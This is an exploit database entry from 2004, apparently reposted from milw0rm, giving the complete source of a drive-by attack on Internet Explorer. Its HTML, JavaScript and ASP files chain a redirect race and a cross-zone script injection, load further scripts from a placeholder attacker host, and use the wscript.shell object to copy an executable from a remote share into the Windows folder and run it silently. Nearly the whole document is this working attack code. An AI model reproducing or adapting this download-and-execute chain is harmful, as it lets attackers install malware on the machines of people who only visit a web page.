Microsoft Internet Explorer - Remote Wscript.Shell

🗓️ 13 Jul 2004 00:00:00Reported by Ferruh MavitunaType

Malicious script exploiting Internet Explorer to inject code and download harmful files remotely.

-----------------------------------------------------  default.htm  -------------------------------------------------------
<html>
<body>
<img src="cc.exe" width=0 height=0 style=display:none>

<script language="Javascript">

function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-1000\;dialogLeft:-1000\;dialogHeight:1\;dialogWidth:1\;").
location="vbscript:\"<SCRIPT SRC='http://IPADDRESS/shellscript_loader.js'><\/script>\"";
}

</script>

<script language="javascript">

setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.asp" style=display:none;></IFRAME>');

</script>

</body>
</html>

--------------------------------------------------------- md.htm  ---------------------------------------------------------
<SCRIPT language="javascript">

window.returnValue = window.dialogArguments;

function CheckStatus(){
try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
setTimeout("CheckStatus()",100);
}

CheckStatus();

</SCRIPT>

--------------------------------------------------- shellscript_loader.js  ---------------------------------------------------
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='http://IPADDRESS/shellscript.js'><\/SCRIPT>");
}

document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);

------------------------------------------------------- shellscript.js  -------------------------------------------------------
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script language="JScript" DEFER>
var rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe";var wF="%windir%\\\\_tmp.exe";var 
o=new ActiveXObject("wscript.shell");var e="%comspec% /c copy "+rF+" "+wF;var err=o.Run(e,0,true);if(err==0)
o.Run(wF,0,false);</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
--------------------------------------------------------- redir.asp  ----------------------------------------------------------
<%
Response.Expires = 1
Response.Expiresabsolute = Now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.CacheControl = "no-cache"
For x = 1 to 500000 'Time
z = z + 10
Next

Response.Status = "302 Found" 
Response.AddHeader "Content-Length", "4"
Response.AddHeader "Location","URL:res://shdoclc.dll/HTTP_501.htm"
%>


# milw0rm.com [2004-07-13]

13 Jul 2004 00:00Current

7.4High risk

Vulners AI Score7.4